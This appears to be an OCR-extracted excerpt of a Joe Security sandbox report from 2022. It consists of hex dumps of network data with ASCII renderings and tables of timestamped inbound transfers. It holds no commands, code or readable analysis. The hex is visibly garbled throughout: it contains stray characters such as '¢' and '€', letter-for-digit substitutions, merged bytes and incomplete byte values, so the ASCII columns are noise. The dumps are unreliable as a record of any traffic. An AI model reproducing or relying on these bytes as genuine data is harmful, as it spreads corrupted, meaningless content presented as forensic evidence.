a4 92 71 8e a5 be bc a8 f4 2f 49 48 a5 e6 6e b1 98 85 3c 3c d7 1c fb 99 06 2e 0Of 29 82 76 39 fa 51 3b 42 8 bf {3 86 {7 4f
b9 5a d4 66 bb ed d6 57 d5 63 f8 26 b9 4c a8 77 7f 2f 13 86 16 46 5d b3 c7 61 38 71 55 26 46 c8 24 4a d9 32 2c 3d e9 54
5d 73 b0 26 fd 51 cc 37 4d 6b 30 75 bb a7 fa bf 85 b8 c0 2d ee d4 10 b1 4e 99 9b 10 53 09 75 a5 7 14 23 3a 56 cc 17 6¢
eb 50 0b 4d bd 48 87 fe 33 e5 ab bd 4f a8 9c 53 ¢7 38 €0 f1 43 6¢ 70 7c b0 30 39 8¢ 16 61 3¢ 02 e7 d8 3b 92 2d c7 4b c9
b7 53 32 7e dc c8 72 43 04 cf a0 ac 39 bd 0a 72 01 c9 94 d9 5d 3e d1 44 a2 76 8b 81 a5 6d c6 24 35 6f fe df b4 dd f2 36
17 fe a8 45 ba a8 22 38 62 f0 30 10 75 b2 ee c0 4d
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Data Raw: 6e 39 c9 59 2d 7c 2d 6b b9 Oa b7 38 0f 38 b7 dc 03 f4 b2 7d 23 40 37 79 b2 f4 39 a4 cc f9 b7 e9 c5 da 19 67
19 af 6e 5d 6b b0 2f a0 17 Ob 19 f8 72 12 10 db 1e 99 83 fa 4c cd b3 ¢8 21 fa 15 a0 6a 63 6¢ a2 d2 4d 74 68 d5 bc 64 cc
6f cc a2 a6 32 46 68 75 1e 29 bc cd a9 73 07 44 6f 57 28 6d 43 65 76 Ob 1la e5 44 68 68 fc 90 cb 90 13 2¢ 92 3e 50 0f 61
a4 cc 3f 2b c6 6¢ 6a c7 0d a8 82 d5 5a 56 2f d6 bf 42 c2 1b ae cc 4c 54 6b 4c 7f f2 67 77 d5 19 3f 96 3d 2a ce 5b c5 7 2a
b3 11 fe ce 1c 41 f6 93 6b 57 ¢4 59 51 74 1d c0 40 92 6f 86 05 64 d2 1a 7e 9e 70 4e cb c9 f6 1b a7 Oc d8 2f 73 59 ¢5 0f
e8dc 4921 e7 el 56 02 ae a6 1d 10 96 f5 bd f1 bf da f3 17 82 68 5d 52 83 73 3 23 50 2c c4 cf 0d 76 6¢ 7 1c 36 be 3e
d4 4f ff 59 bb 10 8b 6a 27 3e 20 72 e5 6f 91 6¢ 03 c8
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Data Raw: €9 cb 70 90 b0 50 13 ce a9 1e b7 bc e8 8d 75 8d 07 d9 63 b7 fa 88 c2 e4 b0 00 23 91 9f 21 5e 32 3d bb 25 81
5a 0a e2 b0 36 a9 21 78 8f 6a 75 70 cf ce 86 4e 73 2e c0 68 60 e0 89 70 c9 7f eb 61 8a Oc al 6d 39 79 a6 85 b3 c5 13 25
3b aa dc 9a dd 90 fc de 51 ¢5 64 4d c7 50 05 4e el 36 64 e3 cc d9 bb 89 d8 1d 35 77 25 87 00 33 03 ab 67 21 d2 03 b4
f6 a9 a6 d5 ce 7e 20 7a 1d ce 64 al a9 al 82 4d d2 47 2e 40 3f {7 55 42 5a e6 f4 98 16 01 92 5e 07 63 77 6b 5d 7f 24 1b
f2 19 15 6f 23 bd df 5e 10 17 b0 ea 9f 83 ab 1f 59 03 22 2d 63 3d 2f b3 68 dc 03 4c bb 73 fb a7 c4 9e fb d5 a5 e2 e3 2e 42
03 6f cc ee 22 94 d6 4d 7b a9 f2 76 db 20 13 2¢ 17 90 8d 09 d2 59 9b 67 7e eb 5b 59 50 ec cb e8 4c dc 2 e0 a2 40 4f 44
9e f0 40 80 81 ea 64 cc 48 71 1d 42 62 00 86 16 3f 5d ee
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Data Raw: 4c 70 3f 74 84 9d 4d 96 a0 df 19 08 a4 68 dO b7 3d eb 57 6a c6 f7 1d 3b 1f 76 3d 5e ef 8d ec 13 d5 8b 1c cf e2
37 4b 13 1d d4 cd 27 33 b0 5e 08 f6 a2 e6 17 6a d9 24 fa e3 a7 09 3f d7 5¢c b7 98 a4 9e c9 97 44 8e 9d 90 73 01 35 bb ed
72 0a 03 3b b0 64 Ob aa a6 bd 7c 71 e5 6d 2e 8a c0 f9 f5 76 bf 59 0b fe f1 13 5b d5 07 88 01 6f 50 75 87 de da e6 75 a6
6a 92 9d be 55 54 03 8a fa 12 31 c0 4f b0 d3 b8 43 aa d9 72 cc a5 6¢ 3f 82 26 cf d8 39 df 88 f0 24 8d 3b 89 63 67 f4 06 af
d5 ee 77 e5 3e la ca b9 4c 2a c8 d5 c4 fe 06 32 21 9b 8c 91 6f 66 8 5f Oc 6d 16 09 8e 00 b3 el 17 ab d6 f4 87 0d da 47
10 a3 1a 98 5c 30 c6 47 82 53 09 Oa ca 37 42 3c 9d d6 3e bb 95 4e b8 d8 92 b7 db f5 20 b3 c4 82 1d 9f 04 00 24 50 41
73 65 ac 40 cc 3¢ 84 f4 3e b5 92 fd d3 c9 47 54 e5 7

Data Ascii: Lp?tMh=Wj;v="7K'3%$?\Ds5r;d|qm.vY[0PuujuUT10Cr?&9%;cgw>L*2!lof_mG\0GS7B<>N $PAse@<>GT
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Timestamp transferred Direction
2022-06-23 16:20:09 UTC 1328 IN
2022-06-23 16:20:09 UTC 1336 IN
2022-06-23 16:20:09 UTC 1344 IN
2022-06-23 16:20:09 UTC 1352 IN
2022-06-23 16:20:09 UTC 1359 IN
2022-06-23 16:20:09 UTC 1367 IN
2022-06-23 16:20:09 UTC 1375 IN
2022-06-23 16:20:09 UTC 1383 IN
2022-06-23 16:20:09 UTC 1391 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 42 dd 32 65 4a 08 b0 99 81 1e 85 0a c7 43 24 89 67 2e 64 5f d4 42 96 56 fa 57 b5 93 67 44 8a 3c 34 90 a5 11
8517 5f 2531 93 d2 37 c2 d0 e5 4c e5 f2 dd f4 28 e5 5 5d a2 9c d4 76 96 14 8d 20 8e el 26 ff 5d 41 98 41 e5 b4 ee 03
16 4f 95 f6 bc el Ob 74 fa 92 21 63 ad 8b be a4 90 c4 0a 81 cb 7d c2 29 e7 cf Of de eb b2 1f e6 88 23 c1 27 38 65 f4 69 96
af 96 5¢ Ob 34 96 65 46 64 f0 df f7 cO 21 87 63 3b f9 ae 6¢ Ob 11 15 b1l f6 ff 2f 61 32 d4 06 c8 70 91 f8 20 1b c1 87 61 ef
3a 3f3d eb 86 93 8f f3 78 9a 2c 69 b3 3e 2f f2 1a 50 af 90 ee a3 27 e8 Oc c5 a0 ac be 39 14 el a3 59 72 5c be 35 ad 56
3d ca 94 af 45 52 75 17 37 5¢ 6d 44 3c 8d 8c 48 d5 b0 af e6 85 fb 78 d4 8b 79 a7 d5 2f dd ab 3f 9 45 7b 87 a0 e6 7c d9
92 5a d0 5f 30 42 da 69 60 da €3 06 2d 11 e4 3e 82

Data Ascii: B2eJC$g.d_BVWgD<4_%17L(Jv & AAOt!c})#'8ei\deFd!c;l/a2p a:?=x,i>/P'9Yr\5V=ERu7\mD<Hxy/?E{|Z_0Bi'->

Data Raw: 36 Oa fd 86 1f 53 ad bb 49 60 d2 26 bb 5a a4 ee b3 ce 29 9c ee f1 Oe a6 2a b4 70 e6 24 1c d0 28 3a d7 12 34
a2 51 bd df 8c cd 3b ca 19 69 7a 04 02 1d 47 bb c1 94 2d c3 e7 a7 d7 bc e9 26 9f 9c e7 45 fa 96 b1 18 99 3a f8 27 2f 82
a9 4a a7 08 31 ec 28 82 19 6¢ 99 b3 5¢c 7f 94 16 40 de 51 2a al 7a 4a ae 77 13 8a 20 23 b9 0b 26 b1 9f be 2a 29 19 dd
d3 e099 90 76 85 1a 9f da c1 4f a2 eb ce 07 68 89 34 8c 16 43 5e 20 51 0a bb 99 66 3f 75 4e 1d ae e3 38 5f 6d 27 6e e
99 d8 e5 50 b5 4c 2e f7 72 d2 b5 2b 9f Oc 5f 88 eb 7e de 77 a4 87 7f e5 43 e5 45 2f ae 8e 84 de 2d bf 1f 2¢ 99 c1 69 9f 30
99 91 ee 24 ¢c0 65 47 fe 68 62 da 9e 7e 2d c1 c6 90 5a 9f 1d 10 b2 6f de 69 89 8f €3 90 Oa 7f 9e 4e af f9 44 69 6a 41 af e3
97 2a 8¢ 3f 17 83 dd 65 11 ba 1b 97 42 5f 50 7e 10 c8

Data Ascii: 6SI'&2)*p$(:4Q;izG-&E:'/I1(N@Q*zIw #&*)vOh4C” Qf2uN8_m'nPL.r+_~wCE/-,i0$eGhb~-ZoiNDijA*?eB_P~

Data Raw: 8c 52 83 Oe a6 21 2d a5 58 c7 9a 65 f3 1c 2f a9 42 8f 21 f5 b5 21 7f 3e 3b 66 a4 51 fb 08 4f 60 1b d0 05 cf 05
c8 b6 99 4c 53 dc 21 4a d8 5d 61 0d 85 c6 94 ¢6 9d 7c¢ 56 d2 15 b9 37 83 91 79 9 8f 4d 6e 40 ca bc Of ¢3 5b 6e 08 a8 d4
37 fc 3a 44 f9 c0 cb Oe 7f 09 be c7 74 de 86 ef 68 a4 6f 78 fc 77 09 72 1a b8 cf 6d d5 ac b2 9c 63 d5 52 Oe ba 9b 74 65 dd
82 9fa9 a9 bd 7e 25 Oe 09 da b9 4d be d3 df df 4d 45 01 ea a7 80 d8 1a f1 5b b1l c3 0a 12 d7 e7 ad cc 72 3b 28 fe 26 03
ae d8 ef d1 4b 14 16 36 ff 1f 7f 3e c2 94 69 65 f4 bf 20 5e d6 5d Oc 68 16 4e 5a 60 c7 5b fe 5a 73 cb cb 1b 0d 05 ac 0d bl
0f a7 2d bd 5a 62 48 94 88 57 49 30 7f c1 76 34 a6 95 c6 9b 73 9d 6a 96 ea 25 32 97 89 1b 33 e7 7d cc de 55 23 42 15
93 16 64 72 0b 57 dc 05 e3 98 f2 b1 8c 8e el ae 31

Data Ascii: RI-Xe/B!!>;fQO’LS\J]a|V7yMn@[n7:DthoxwrmcRte~%MME[r;(&K6>ie "hNZ'[Zs-ZbHWI0v4sj%23}U#BdrW1

Data Raw: b9 56 fd 8a d1 00 fd 88 aa d8 13 a4 90 5a 9e 90 0d 69 12 f4 f2 ae 23 2b d9 c7 72 4c 67 45 e2 cd ea 43 e4 Oe
57 b7 63 0f dc f8 Oc dO 8 19 fd 1a ea c9 Oa 5e 73 df 7c 14 b2 9e 2f d9 68 75 05 6f 31 al 58 e6 a5 ed fb 39 51 ed a5 e7 81
al 14 f3 09 bd 31 95 b4 5e 27 f5 6a df 00 a0 35 1e 23 33 24 85 cb b2 67 89 cf 82 74 48 fb c6 ee eb de b2 7c 73 98 54 84
ef ea el 95 6b 60 90 1e 9f cc 63 53 b9 76 Of 2f e3 e0 a5 97 6¢ 1f 72 15 d3 cc 31 66 8c ch 7e a5 e6 7f da de 33 63 Oc b9
0a f0 83 4b 47 fc 6a 63 62 ff 78 d5 b0 ff 54 99 18 75 5b 99 3c 78 a5 3f el 84 d3 cd bl 3d bl 6¢ 06 3d 83 5b b2 b6 c8 a8
6e 28 43 bd ae 7a cd 00 6b 92 1d Oc 8d 58 29 54 42 7c 2c 22 f1 7c 5a 53 db f9 30 5¢ ec 6b dc ed 17 b0 fd 76 c7 5a 47 a3
ce c1 96 85 64 72 47 af 03 49 al fc 70 ee 9d cb a0 f7

Data Ascii: VZi#+rLgECWc"s|/huo1X9Q175#3%gtH|s Tk cSv/Ir1f~3cKGjchbxTu[<x?=I=[n(CzkX)TB|,"|ZS0\kvZGdrGIp

Data Raw: 62 5d 67 9d d2 7f d5 13 e4 55 89 71 a5 bf 14 7f 9b aa 6b 53 b7 63 44 9d 9 8b 42 9e ee bf a6 1b 8c 60 4c b0
0f 84 8e 94 Oc 57 75 50 80 dd 35 11 b3 c8 6b cf 4b 62 7d 3¢ c2 7d 38 7 cb bl ad 94 6a 62 fd 08 6a 89 3b 6 cO 9f b4 5f
55 f1 c1 3f 7f 67 f4 €6 a9 fd 4b 16 65 b6 a8 05 5f 7d 47 4 7 c9 41 4f 5¢ e3 95 2d 75 11 52 a0 15 73 69 3a aa f1 d6 43 9c
5b ba b7 e2 be 8a 7b 4c 94 25 52 fa 27 80 bd 61 f5 0 68 c2 1d 35 dd 13 df a8 e4 4f 21 39 21 7f d6 d3 64 de fb ce €9 dc
¢4 19 40 33 cc 85 b6 d3 86 87 7 Ob 8¢ a7 aa 2e ba bf 83 52 ae 69 e3 a7 5b 53 d6 ca 27 01 a3 20 cf c6 5f 9f bl 51 d5 83
14 85 9f 96 56 2a d1 7a 89 43 18 24 cc 77 87 dc 12 b5 98 df 79 5d 11 08 75 6f b2 00 7a ba c5 39 85 99 18 23 98 ae 9b fa
47 4b 46 69 3b b3 1f 1c 79 93 9e al 84 44 f1 48 3f 51

Data Ascii: bJgUgkScDB LWuP5kKb}<}8jbj;_U?gKe_}GAO\-uRsi:C[{L%R'ah50!19!d@3.Ri[S' _QV*zC$wy]uoz9#GKFi
yDH?Q

Data Raw: 14 3a 9a 29 0b 7e 90 c5 f0 69 d8 5c 04 62 08 ae ae cb 67 d6 74 4c 5d 64 a7 63 43 e2 ec fc 18 52 aa e8 b3 83
da 08 81 7b 31 3f b8 1d Ob 44 16 a3 28 2b 57 87 c0 a2 e6 7f 7d 07 4f 99 8b 50 cf 6e 97 2d 43 €9 e7 3b 61 Oc ba 6c 48 f0
c0 89 b4 74 cf 67 f2 24 2e €9 d4 bb 95 ae 2d 00 ca 48 da 66 Oc fd 7f 4a 6f f1 84 48 b5 44 d4 ca 81 b8 eb e2 5f 21 63 0d
09 16 39 8d c1 6d f8 b5 7f 46 a2 06 80 46 9d 4c 30 d8 df 93 bf 10 32 32 1b c5 96 85 92 3d 26 2f aa al 5b 78 dc f8 45 2e
96 cc cb fc af cd a7 aa 94 d4 69 af 13 c0 e2 44 1e aa d2 bf 76 32 9f ed 9e c6 44 af d3 10 1b al bb 59 07 f2 e1 35 50 b9 7a
d4 bf 54 e5 cd 86 64 b0 5¢c a2 41 7d 8f 39 cd 66 47 68 99 ea 2b ab b9 6e d3 42 5e el Ob a9 40 7d fd 53 67 87 b0 4a a8 c2
63 33 4¢ 63 28 cf 97 aa 43 7c a6 45 af 59 7b ee f9 51

Data Ascii: :)~i\bgtL]dcCR{1?D(+W}OPn-C;alHtg$.-HfJoHD_!cOmFFL022=&/[xE.iDv2DY5PzTd\A}9fGh+nB "@}SgJc
3Lc(CIEY{Q

Data Raw: 41 fb 4e b2 bf ff 9d a3 52 46 fa c4 5b 7d 78 81 5e ff d1 ae 38 83 84 de d8 ac 5d 30 8f b8 27 d8 05 12 ca 0d c9
76 b6 e4 ed 27 de 5e €5 Oc c8 ed 36 63 f9 5 1a a9 0d fd 29 30 4f 5b 91 d8 7f d9 af 2e 0 50 54 1e 8d 67 bl f0 13 d2 49
80 32 6¢ 68 12 47 d1 a3 98 9e 36 53 6 78 98 d3 dc 5b 29 92 b9 76 7a 84 92 10 d0 53 21 9f a3 €0 c1 dd 3a 8a e2 fe d9
eb 6 59 98 13 4c 0 7a f 85 17 99 1d 39 15 ¢7 b1 62 ed 4b 96 37 42 bf 76 15 a5 ed 6e b3 95 97 4d 6d 5f d7 19 7b 84 4d be
be 12 6f 75 5d 60 82 €5 aa Oe 43 {7 5e ca a4 39 ¢8 45 6¢ 4c b4 d1 4b c3 58 9c 9d a6 6¢ 82 3c ¢4 18 90 1a 30 66 22 b9 3¢
4511 a0 22 64 7b 9c 7e dc 9f 9f 36 1d 99 ed fd 90 dd f9 7c 1b 4a f6 31 a8 7c 52 76 €0 1b 7c 09 5a 38 cd Oc 67 f5 2 36 ae
98 34 17 03 fd 32 64 ed 81 84 ea 8c 5¢ e7 5f €5 92

Data Ascii: ANRF[}x8]0'v'A6¢")00[.PTgI2IhG6SX[)vzS!:0YLz9bK 7BvnMm_{Mou] CrIEILKXI<Of'<E"d{~6|J1|Rv|
789,642d\_

Data Raw: 24 70 fa 32 2b 70 16 82 a8 91 66 09 b5 23 15 8e ef 79 cb 17 4b 7e d3 58 23 d0 7c dd f9 7b a4 ac 3b 51 cf 32
cl Oa fa 98 53 c2 d4 40 e0 4f 27 b2 84 42 ea 09 aa 81 13 87 d6 dO d4 e0 99 63 a2 a0 4e 19 le a7 9c ea 10 8¢ fd 7b 7d 78
81 37 6¢ 1a c3 9d f9 df a0 ca al 5a €7 00 a6 99 25 6f 6¢ 23 3d 12 8¢ f9 02 a1 00 71 81 04 fa e3 c2 1d 41 c7 22 82 84 22
0Ob 7e 10 fe b9 21 1c 60 a4 81 9f 30 Of e7 6¢ c6 01 c1 09 79 40 ba 90 19 3d 20 c6 04 ee a8 e4 9d c7 df a5 aa 95 c6 d0 b6
cb f5 fe 73 ee bb b3 56 4d 94 cc 1a 7e 9d 74 b3 3d 82 b0 78 8a 67 cf 22 43 48 4d e7 07 3c 9c 10 58 fa 46 b2 64 e7 15 3f
db 00 ee 7f cc f0 51 a0 54 97 ed b3 9a c6 8 db ec 70 47 fc 1f c7 27 4a 57 d4 db 3e fc 38 bc 6 eb 84 b0 19 30 Oe 4e 93
d5 81 cc ¢9 95 00 44 46 de 8e 68 14 1e 9a 1b 41 ef a3 b2

Data Ascii: $p2+pfityK~X#[{;Q2S@O'BcN{}x71Z%o0l#=gA"'~!"0ly@= sVM~t=xg"CHM<XFd?QTpG'IW>80NDFhA

Data Raw: a2 61 c0 7a 87 ac aa 77 69 73 86 05 46 €9 6a 66 27 4c 10 77 c0 75 80 42 7b 65 16 42 {8 3c c9 7f 4f 42 43 Oe
258578 91 5d 42 f9 48 2e 29 e2 af 3b 3c 60 eb 41 fc 52 d8 da cd Oe b8 02 90 bl 02 5a 41 f2 c1 47 43 ac 9e f0 01 ae 32
87 ba 93 6a 55 ce dc 3b d1 60 c9 13 28 8f 8e 39 35 ba 5f 30 d5 70 b8 b5 ca 09 ed 85 ed 6e fb 70 f5 8d 88 6d 85 99 8e 69
5f e0 76 6¢ db ed le d6 6f 0d e3 c9 85 a3 8d 7f 2a ba 4c 28 1e 13 db 64 fe 94 98 36 88 cb 1b 2d 7d dc d7 6b ed 49 20 6b
fO 1e 14 81 89 5b ¢2 51 1b bf 7 2a 4b 40 72 96 41 9e el 24 cO c7 42 a8 86 2c 5a fa 3d 2 c6 4f 36 8e dc 4d 2e 80 e7 3¢
ac 7c¢ 63 a6 90 68 de 8d 70 01 32 c0 4b b2 71 8f e5 9b d1 3d ee 1a c4 1f 7c c2 88 e4 c7 8f f4 93 eb 74 57 f0 93 cO 9f c8 2e
85 06 ba 4a 76 e3 bl de c9 7a 37 98 cf c9 ee Of c8 b9

Data Ascii: azwisFjfLwuB{eB<OBC%Xx]|BH.);<’ARZAGC2jU; (95_0pnpmi_vlo*L(d6-}kl K[Q*K@rA$B,Z=06M.<|chp2
Kg=[tW.Jvz7
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Timestamp transferred Direction
2022-06-23 16:20:09 UTC 1399 IN
2022-06-23 16:20:09 UTC 1406 IN
2022-06-23 16:20:09 UTC 1414 IN
2022-06-23 16:20:09 UTC 1422 IN
2022-06-23 16:20:09 UTC 1430 IN
2022-06-23 16:20:09 UTC 1438 IN
2022-06-23 16:20:09 UTC 1445 IN
2022-06-23 16:20:09 UTC 1453 IN
2022-06-23 16:20:09 UTC 1461 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 39 8f c6 f1 9e a0 1a 82 b4 27 c7 3c bf 28 4d a0 16 d1 c1 d1 a8 9a €9 16 04 1b 64 1c a8 57 2b b6 1f 55 bd ef d7
0d ad 10 5d c6 Oe da 37 64 ce 42 a2 77 92 €9 a4 52 1b 84 3e 46 f9 1a 6a 75 27 fc 96 ac 34 8f 8¢ 1c 47 9a 61 88 d2 b9 47
c7 ad cf a6 52 cc f8 fa 6e 07 86 f2 be Ob 91 8a 7c 43 76 68 Ob fa 8b 86 dc 1a 5c 7d b5 76 a3 16 65 af a8 fa fO 18 66 2f ba
22 be 36 5d f3 1a 3b 49 04 7c 0a 7d a9 d5 18 d1 a3 6f ca 5f 6f 20 2a c2 d1 94 56 ba 36 d3 d9 54 57 ae e4 Oe 8e 89 d9 aa
ad 84 f8 39 1e 99 e3 c2 ac fd ce 7d 03 51 b6 77 dO ff 6b 69 €9 ed 7e 36 2b 0d b2 6f cf 54 d7 c8 9e f5 08 1c 61 ea 27 37 f4
4a 2c 90 5e cb 1d 89 e7 dd 8c f1 91 1d 1e 5f 46 5a f8 e4 f1 d5 ab 65 43 88 16 4c 98 93 83 c9 11 1f 7f dc 05 52 ab 8a a4
le ea 94 Oa e2 40 a3 35 5e 5e 6fd8 cd 61 e9 41

Data Ascii: 9'<(MdW+U]7dBwR>Fju'4GaGRn|Cvh\}vef/"6];l[}o_o *V6 TW9}Qwki~6+0Ta'7J,"_FZeCLR@5"0aA

Data Raw: 19 dd 69 16 96 e2 7f ff e5 f3 fa 80 5b b7 9c 77 47 67 2f 6a f5 Of fe e2 6a 8a Oe 74 ff 8f Ob 6f 58 d1 {7 fd 1e 4f 97
39 ee 47 8140 03 f0 al ee b5 71 4c 07 91 57 12 Oa 36 ea Oc ae de f6 f0 09 €9 96 88 45 53 78 b7 49 a0 Ob 28 06 le ed 11
3146 87 95 7a a9 8d 54 f0 fa bb 76 el 12 53 5 3e f9 f4 7f 55 5e 7a ee fe 99 c8 3b e8 85 d9 be 7f fa ac 5e de 9f Oa db af
3a 7028 a5 c6 2b 12 d7 Oe ac de 86 fb 12 45 8a bd a4 6f 52 b3 15 0a 28 b7 9a 1c 51 €0 09 c4 80 ee 96 ef 18 2a 1b 71 el
782 0d eb bb 15 d5 61 e2 19 f7 63 60 de 59 8e da 99 8b 60 1d a6 51 f5 f1 6e fe 98 80 84 87 b9 94 ee 95 46 c0 3f 52 17
4e 5e Oc 4 2 ¢5 05 ac 3b d3 97 97 Ob d0 d1 8e 4e b1 ac 55 c6 de 58 cc d7 ab 43 22 bb al 08 a6 9c 3a 99 c6 62 19 91 70
15 1e 41 b9 ba 29 39 a2 9f c3 78 77 c6 78 77

Data Ascii: ifwGg/jjtoXO9G@gLW6ESXI(1FzTvS>U"z;N:p(+EoR(Q*gxac"Y QnF?RN/;NUXC":bpA)9Ixwxw

Data Raw: 1f 95 48 4f d6 1f 81 bd b7 de c6 1b 14 93 1d de d5 00 aa a9 de c9 09 7a a8 70 9c 9e 81 88 94 c9 8b cf 7e f1
3a b6 a4 d6 d2 46 a2 f9 eb cf b9 08 €9 7d 01 57 df 94 aa 54 a9 15 ae 12 b8 95 b1 69 89 33 58 07 fa fe 07 c6 20 ab f6 32
30 4c 8 93 37 50 de 11 02 a5 ad 66 83 55 72 77 39 53 d8 €8 b3 8d 3c 6a 11 ae 44 29 8d cd ab 76 cb eb 01 5d f4 14 33
a0 51 e8 93 fa f2 24 84 c4 4d 35 45 06 3f 15 b8 bf ab 1b 1b 98 af fc 0d e0 22 47 d6 7f 4e 64 bd c5 31 d6 00 88 4 3c 20 bd
€8 08 df b4 56 31 88 49 41 ff 1f 60 d6 7f ba ce 2a d6 c0 Of al a3 06 6f 84 ea e7 a3 89 5f 79 a5 9a 75 bb 1a f8 e0 11 cb 3b
el 8f 1c 4d 2e 6e 51 6f 65 ff 20 c5 f5 ed d1 6f 0d 75 d6 ed f5 27 54 8d 25 95 cc d8 db 58 77 a5 b6 a0 1c 25 05 2a 7a f1 be
84 05 7d 2e 9d ba 33 04 9e a4 fb 6a 22 9d ea 5c 88

Data Ascii: HOzp~:F}WTi3X 20L7PfUrw9S<jD)v]3Q$M5E?"GNd1< V1IA™*0_yu;M.nQoe ou'T%Xw%*z}.3j"\

Data Raw: 05 6d 6¢ d0 60 40 79 ff ce d5 00 12 de 5a fb d4 15 31 3b 66 15 95 1b el 94 75 d9 2e d6 cd 2d fd 97 ce 5c 33
c6 d9 Oa 76 5e 67 5b f3 ab 24 81 01 7d a4 51 f8 04 42 91 00 be 77 02 57 9e Of e8 f1 56 36 2f 54 03 f7 7b b5 fb 7a cc 3¢
a7 3f 62 70 d1 6a 05 df 42 ee bd 32 6d 55 83 cf f5 d1 10 36 20 d2 54 Ob al 58 c6 6f 07 23 55 3f 12 b6 2d cc 11 8d 54 4d ff
8a 1d 24 72 1f 63 7e 31 79 22 5¢ b5 dd 0f 98 d6 d1 52 fc ¢3 Oc b5 34 bc f6 89 04 bl 1d cd 9c 11 ¢4 5a b6 a8 b8 35 aa 42
ee 59 d9 6f 2c 23 c6 24 10 b3 65 84 2b 5¢ 23 64 fa 90 23 ad 20 a2 ed f0 31 c2 be 18 5f f5 64 78 35 22 c6 f5 16 2c a6 5¢
ab ba 31 00 17 6d 36 b4 36 73 1a ce 1d 82 f7 42 e6 54 7a Ob 7d 3e 1le f9 55 a2 fO Oa 80 06 34 a0 9c b9 de Oc 48 6a e2 78
ed bc ab 53 1e ec 5b 9d df 9d 4f fc f2 30 e5 ce 61 f5

Data Ascii: mlI"@yZ1;fu.-\3v g[$}QBWWV6/T{z<?bpjB2mU6 TXo#U?-TM$rc~1y"\R4Z5BY0 #$e+\#d# 1_dx5",\1m66s
BTz}>U4HjxS[O0a

Data Raw: fb 11 e6 c1 6f dO 1d ef 36 f4 00 9f 9e 50 81 1c 67 a3 68 63 fd ff 03 9e a9 6a 21 c8 82 aa ea 44 €3 7b 96 e dd
09 3ac9f2 153307 3cac c2 9a 3c 7559 28 77 el aa b5 96 c9 c0 2e 07 97 6¢ 69 Oa 63 dd 95 ce bd 7e 30 bl 8 a8 e2 46
3e 43 bc 78 Oe 31 4c 3b 04 41 4b fa 5¢ cd 78 a3 a6 29 c7 a5 3b 02 d0 fO ad f8 4c 19 2e a8 c¢5 99 8b 7b 25 ce 4c 24 5¢ 4b
56 e4 44 54 b0 de 88 e2 ae b4 6d f9 66 65 bl 7 07 00 a3 f1 b3 d3 37 70 2f 63 40 c¢9 c0 b8 79 2¢ 7d 27 ac ea 30 07 ca 24
5b fO 3f 1d 46 9a 63 2e 5b 4b 3b 57 c¢7 1d 7b 41 8f 89 a5 07 2¢ 98 bd 84 01 d3 45 1a a6 99 75 a4 8a 4a af f5 6a el 51 d2
97 b0 71 9f 41 4e aa cl 41 a7 3b e7 80 75 a6 6e 23 14 93 e7 24 12 09 70 58 74 29 1a b8 95 1e 9e c4 b4 ef 68 09 d5 a6
4b Oc 83 6d 38 a7 ef al b0 d4 fe 85 15 2d c1 de bf db 5d

Data Ascii: 06Pghcj!D{:3<<uY (w.lic~0F>Cx1L;AK\x);L {%L$\KVDTmfe7p/c@y,}0$[?Fc.[K;W{A,EuJjQqANA;un#$
pXt)hKm8-]

Data Raw: a4 8d b2 b7 5b 20 48 3f fb 03 ad b5 18 32 9e 23 e8 5b 9f 7f db f9 89 a3 28 33 43 da bc a9 6f a3 f9 ef 2a d7 d4
77 74 b4 b3 a9 c2 ab 60 6¢ 4a 8d 84 07 13 d4 09 aa de 15 8e 60 55 a0 a5 30 89 b5 15 43 6b 48 ec 61 92 3d 73 2d ba 4b
9e cb fb 2b bc 70 4c bc 6f 58 b4 aa f0 8e d3 03 f3 8a 91 f1 ce 55 05 12 70 1c 00 7f bf 2e d9 c5 5¢ bc 08 ea ff 94 a2 b0 68
21 d3 le 43 ea 91 61 64 1b d2 56 25 74 d4 60 9a 28 40 4d 44 92 df 4d 3d 15 10 c4 09 22 1e f0 1b d8 b7 cb 84 5c 08 {7 8¢
0f 81 8a 39 3b 60 d5 bc 07 db 40 17 fe 4f 44 c4 9c 7f Oc 50 Oc 6a 2d d9 ¢8 33 54 7e 51 el 7c 5d 53 93 12 cf 3c ed 8d dO
22 46 7a 42 58 c3 42 d4 2f 08 96 ce 33 af d0 ed 63 a8 2f Ob 1c 4a d5 39 23 ee 06 ¢9 a7 11 Oc c0 e7 b8 Oe 27 63 dd f4 13
26 be ea 12 36 17 5a eb 57 ff b8 54 bc e2 62 fb 99 f1

Data Ascii: [ H?2#[(3Co*wt’|J"UOCkHa=s-K+pLoXUp.\h!CadV%t (@MDM="\9;" @ODP}-3T~Q|]S<"FzBXB/3c/J9# c&6ZWTh

Data Raw: 95 10 dc 06 f3 83 3a 3f 4f e2 02 13 42 57 cb fb 1f ac 20 b2 04 4e d6 95 41 fa 94 39 5d 57 af cd de a5 b2 b3 18
1819 64 €9 c7 2c 72 c6 e2 2b 36 ac e3 64 47 50 a2 97 f1 3a c8 fa 79 9a 78 0f 20 25 5e d6 17 12 70 38 d2 17 fc 3d 53 05
68 a9 b2 98 cb 30 f7 54 22 6a b9 ae 59 22 6¢ f4 f6 48 88 06 ac 10 42 9b 20 d7 0d b0 e3 f5 d8 06 6d 00 83 d5 7d de 5a c3
a3 cd 19 03 Of ac ff 38 c4 cf 42 5b 4f 2b 19 61 9d 73 2d db 70 19 36 Oc fc 07 97 cf 5a 86 ed 89 ee 8f 9b 4f 37 b2 b9 4b 91
5c 2b 31 77 e4 e1 04 80 47 91 2f 2d 9c 16 c6 c9 Ob f3 31 4c 5e fa 8e ed 84 f0 87 a0 01 14 9f Ob 8a cd d3 28 e3 c1 5b 24

94 d7 5e d6 fb 1c d4 84 8f ed 43 b0 c1 1d 90 27 56 Ob b5 42 87 ea 84 97 48 66 cd aa 40 1d 17 52 ba 57 78 f6 70 87 ff c9
Oa fe 95 2e 90 4d 5d cf b7 75 Oa da 85 6¢ 8c 4a c7

Data Ascii: :?0BW NA9]Wd,r+6dGP:yx %"p8=Sh0T"jY"IHB m}Z8B[O+as-p6ZO7K\+1wG/-1LA([$"C'VBHF@RWxp.M]uld

Data Raw: fc ec 83 36 ef 4b 28 ca 70 df ff ba 9d bc a0 4f aa a6 70 c6 be 66 e9 bf dc aa ef a0 44 f1 d6 d9 a9 b3 85 4b 95 f2
¢4 09 1f b5 d7 f7 22 a6 a5 b1 99 75 74 c9 0f fc b4 9e fe 48 a6 24 7d 28 9f 1b ae 96 a3 87 01 d1 58 77 19 2f c5 1a 6a 6d
